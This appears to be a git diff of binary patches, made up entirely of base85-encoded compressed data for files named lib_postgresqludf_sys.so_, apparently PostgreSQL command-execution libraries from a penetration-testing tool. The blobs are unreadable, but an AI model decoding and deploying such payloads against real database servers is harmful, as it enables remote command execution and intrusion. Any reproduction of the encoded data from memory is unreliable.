z<_PS~HXu1e_2x2SK_7KL%8)uJKE}1cnGS>m4!tK}zi8ALp=>1ka2`Xv4!!k)Vxa98 z0)v(J9t)8U45Apv?H1(25db|t0*Iscn2}+Ru&*+OP&rQ@C_x?{yowFNk9^{OTl$Zf(682w0bp0e zd83;w1$7$}oC`EulnT@?9_z(pg`Ch=t!JTF&Kj>_DH<^<=AOzF@T|^>-i& z`(4w@FW3P+RVtE*Z)|OKpD!PX{%vO%Lu+{VIOM@?be_6KV)bGc1L^~o9)2M(Tl2eW zE7_mA@vHWXH_oOF@4@iyiM9@z3l6La?f)4zVNQ!Z1Rv#icr{K8 zZA9$=J(^`?lSW$h;5v5@hrfpkS~Bs4Yi~ZqbF#{pp=9km!2Qg}%il~><#T^Po?35+ z%Ty#q9;KCi;V;g)s3x!L+EU1PnBlvuMHG>>{%+7x#@9GJ*J}Kkqn^9@+qUmR*A`lL zr;a2w<+kkseItc6vP4SY{fQo2TJ}*^D#I~jf5Fc9Z=wM4op`;t3%*b!QVJ#UYWy*` zoPG= z&<$#mjDi7D3o5R=OKe`EIAR~J0@Ml|s3M}K7|gMfTA<>~N6Bvv8dHd1soQn~l&@=o zmQ<>g>kGDy0=Bt>FaLP}UM|moMa&CAZ4PZH+^K$k>7^~lzThlXsIzbzr2AVt8xjYH z5mXR2cwsi28j}?FjClcA^7J4>Ued9>$D-Iu>zs$)z+rx4 zzCNJESGjvu&ez3|IcoLx^`+p$gUmpOz<{g~YW117x-XUxzK+-2LN~LO|UxRrIa|y{g4Mxg&ZrG#OL;KU3_MF|JpWNN{lB}25 zww+x~r#c`?)5`QLwC7Ax^QA~#JzlU#(@~ARnpsFgW)=Tz9B&9ouuDd`t4u=ZLj8T7 zk_Hi7u%IX9E}@%34EP}^?s6tWp)er}{s7qs>tNEp_%vzQew;3Ko(1nVw`w<}Y%**3 z%um;BsN`|ZNn-5MKT5z|775g2@KlMRl!YYE zld-md74_hQ3z~RZ#h(>TSVtJjp}myLpiM%kRz_1%LC-EDgI_gIIHw{=6j>(Hz+g{z zn$0V{tr386lgHwc6=bkk>-@Rea_oB}Ls@wh?hK79NTos9eMF))JzPPB(~51JDNhxZ zENVD^Ro0CD+9Dgcub5R$4xJc@U>#rr90H*GMj=j7oy->jCAveReJGn5eut*hj&4d0 zw11|9-on#y7BVX>qoe+Td)NqFWoT;WJZjFlS?G6*UE&WSVUXkt*e9PHEI9= literal 5267 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 Zo$zJ+Ezw~pgk~C_@5z;uSz;c|ob6a%Fya6J diff --git a/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ index 2227f89936f75a6f8332ad094506492207aac3ca..570c282651dafd428eec559285e36eebb8979171 100644 GIT binary patch literal 2639 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 y0~{L)Lr_*{X8=SXW;XF`!UO6!$GT6>YH literal 2640 zcmV-W3a|AK?%r=MAX=ex?4>^+<~_7^c02ARP6Q+{J~#ruh^5>8?z0wNr(mysg336ba+@WkN)-dqoJ z0PG@TYn_ICe3phind4?i8k&+DFsHrv$}k@!``0kY&Kwj|nHuZVq^tT8*PxvCjS-9{Zg zO8rV(VL>UsPo09yvIx`90cy;a-m6Gs%S(%&%ZjK}o_yTcrvoLy%5yo~vLN?*H*&0( z*hIexAjwAnGwwL$yo`sS%FmRT2mcPwiDWfv)yzYzC+dY@(j>+7UT=r$%M?=HW7(Q; ze$tj{hU~&DxlTSQqZGbdk*~s=`uVWv2-Wkk9(`#EL>d*pNQJ(%Zk!njvyJa7^WPlW zx`va0G8S&w|&Mlev&Tt%!@TjAx%tecz*@RE>VCK7wqYy40 ziOAE6ZY}9U;v|K&X>SMFv#Dyt$ak6U>gLR%xA9sX&BObOir&CToM^1P;+Ft37Sr#- ztOft7$$fi*(T40PCYUdC_2$zf(p3LBgNcNzF^xCvn3(Um!pt)g*Z#>)K`-6jJ>FZW z`5?t4-MkDqWzCU=Eyk2k9)?3RW_y*PnbRJNcNZqkHXHP#Ap5n+-Jv zUK106S1Rd4JXQ9{UVM^WkW20pLssxq*3TY-@MRDCfD#h%?U;FaSV42n)KM1ExQOOm z>?ta=iiD(Wp$qdSd@5DFKuZ-b_<`-_{Sdq{pnBA^Hpe^V`-W$Rms0kFp-s9biUjJ_ zo`U6%S2w9-d)(7~&mi3@DKwp66tE_)oYu}@lKOwnv9Au<(pG^iN|k|4_soV3+@A6G z>=HGw!8@5|%z{VwAY~Y-Uw$KGgdtE_!yu6dkg63;@p4+1i$Hqo%<>PPPM}Mgt&!93 zE(kfdtZ*nSs%pf0p?1E6di<%TE3pTS2RSb_czCU-n(OU8nIxvYEXkHUprB7*n8Pix zYpT?l5Z~7dlUzDkkIJq(aG!O#n+fYj~eGRZlev=ooJfX`oY3;tq}+|Q@C6WHhUF7LXn5`TvGBgMb-cgBmT_n#Zd4veslB%t(%c>a`usR-W1Lwhi#`OrlM$njSS)Nh0+P zxNQ^VQ*2z<5A7^Sg=_d2|JO$V{ioM%`PI z*-dSytyc{rEG(eBd&|z^O}DjU6L-r#aIx~v4nLr~-@&Ow^WiYckoL*+-mqp~{oc?r z0(+?mVC2Ria7RScq?0lqHLyo^v-wTI(AUNmjMW~8#CKmzFHe8?Gi$G<jeLsr+i|i3?Xe&e<6;-u(dj{$18>|H zxqF{c4IT)*vy|c;B3mZ5#j8mq+H;t#hHI$vETzc$+famer2OlYhsWeLa;ndz)YkKO zDP_`dhkGg*=iba7KppaAzxK>*4n?R?R;*UxbN3?6EyO9dDefxRZ&w59$ntoT8Dwx#e9(5F{g2IUf6MHd@y{@7u4@tQ5z9M|)TJJdk zZC5Qzwa-`x)*D@5qmTxXW=&H3Nd?h`svbYF6YidkPU^STv^a^QHj>)|S0EtY&iv1I z!b;IETU>HBDA)Kc%uoI?@vb9vvC86JtijMfR+>KPRvicofjO*4 zKB#+hEaQ8~`^SjL$m1s2Nj^a)Hgv4buKd=c*@!z1^{*BRWSC8Bv#*Vc{jNC+ zf}OlSf1!mfcW*!%Y(9b%4n%z&Ejy^9gB$Mgnox+a{OJah#-8;E9T(2~OLj%hox1Luzb6&& z-S^a1(B`-^=8)Q!sda5;14LPC3Px61GB62xZYVTnhUYAd8PmmuzsSjG%)HcDhDX#* zJ~RP1hs$YYjWrY(v*^>ne@`X-QQAprIec5ZJ`z8VJRg%tu(G$7(X2T23P17#-6%t5 zVny)0XaWq*TV+KKThkh*?B)6-i!>gG0F;N8L2RnoZ*MWG)$ww&s3%DuwHR?*q_?<- zHZCo$El_8W4L|)om*`Dl2s5L`cpGIAnD1%eynAvoE#_ilT*X~^B^7I*NK``LDMP)p zj)m;EYymh diff --git a/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ index 6816064fa49d7e1670530e6fde9f7aab31d4ea90..1102fbe5a15a33b492cf6dd5c882e32608bc8731 100644 GIT binary patch literal 2018 zcmV<82Oan#-|#$13xB^xl`2=TV@H1%RL|>u71k|@?l$U6#Ryzm-&;0ienAKUELx4| z)*13gxT#KO)j{$lk4|xU;<~^SE}+J5g2I0Juv`Gf?UiW5am3{U8sUCAC{`lrrxN38 z!ejC6Jeu}kWPjer`FozJoq~{vn2Yng*V~r+It!mpNAxmbX_(j^vn=2jtP^bUCs(kl zkzqclUuKU{XwCAWki%gZaa3>_6P)hf6eCj)6{+S)*OOSc-K(4OoPQVom+?1`gM|#g7K@&P zpy?x)-;=k)$r_9Jdn}*OV7W&OkmG@c`fxbevdK0UylcShA;>u8l)l{;r4`)S{w~-& z#nc|4hdh6^{P>dx&6`g-@es9Xm0M+EoHUmZzL&s6`AbHHl2ESxJHWq4(;UnzOM&z} zn&Y_jQVQ_SXQ5;8oZ+uqKzp~F{wyHKKuorHGvADei$VzL!#{`_u= zO^Ha<8SKB>x!yFn6Gv{9p=XN?9+fs(l6!0KVv2rP{N;{`O`IchvAz7+?=y9(;CFz? zP{OY-sPeYa*DsD(n|qe2Wm|SQloo&+0LzfT@UxIVrz~DH_~4djiP00#WZxqs)MoWk z?|pT27d?I>6M*kD003@oo2b9QyIJ{jF~M5W&Y`SJ8AAX``Ks{^v9J(}YqrJy7gb^c zUt+l3r{Mk3d&QG}_qCOaP`-0}dS4KXm%eRy3wsCU-FQ3Z#EhxuAbotI>`yk>z=L8t za!|3|%6Kkpm@wZw$Il3-5?sl0VnJkjm=#U|v8Q<7fh!G1vmLd~9uLE8_CM%#Wxk{Y z*hbG0rqf381a^X}TG6(a;YYCP4-t)4+eJMY(hf5+U9MzDg1{ZKrICJX3iHBDXA#xn za(iLy9sjAh44VO7(+=Y}z=JJ-N{=Vp7F%3p#uxi7Q_!kQRvCQX_=($dX}@8Ay^E8H z=0@E*J;zcs#zs^WONwo|6r2Dc9Vx3-z9&(w@*F2vTx6fjcV0Fpx#TUM*r_pw(CF8rjF^7Om7 zF-)?^hA6Cktd)OVhSuX&EJ2joVm%sUMrU%~c~^I~6zmuuRDn3i?O2syqBtpSR-^Tc zWJWP~c1r#QVz;+Rz-&*rM{olmUh?)peSH%Bz-O?2E)2h_CcyG3TLpgZ0CdUZ0;ABO zK6Ui1>4*+abS7ZC)KA1C22-+ZPEZm;Esu0z8;%9s>Vf3N0$p|oQ zuz0sKIS?1hYCgIz{1+)V3{#adv@kDDO-jV`R?h~qsb^&Z>u{ra^xe@c@;+{M`TM@% z7q1CqZ2qf@JXdaZrEPjeoY4^Wn{THXi&RBV*z81|BK>xV#Bp>#&0H@E1ZjpbeRlBe zK0z^zh~xH6w)7#0`yaj1FPdI%O`Z`ZuofP2D~kZTk72@!@i!hDb-QkD_*(O508_J)Kr;14ov#(m+~hTP?hIWeasF>gn?Lir)wdv77DcpxyW z{*`T2s`Aa+ik?PiiDc3=)}P6rVsMYmJl8s42geV!gLt z7^!$)U&j&>RS!fZ6tbs?4p}CEe45myaZ+FKT#<#>mZJo|waa(F7BAmZXdFa3EbTDjv{vA4DRQabXbSB(Dy397-)=Ht((n>c z*g(7v*zF_lw7!AY>w=~jrS76#46>8f@YT|nss*st%&K*ID1Cp)ATi(zYAAZ$)#<`Y z4mf|$cz@0EI4--vt!6NN!Js|4K7G+a(oTGV;_5R@Gj@&|;LYdZVCmY3Q7MoZ$PH7MpZ$xvykz0yL85)FYarOY&P&Zn9|Hn@sa<=rkcbl}9% z2M_(jIkLCIbPB(bFW38ByC@&;k)sXp6dr@m`~VMg!sQZFuM-ylZ{{az@5T7US9B`O 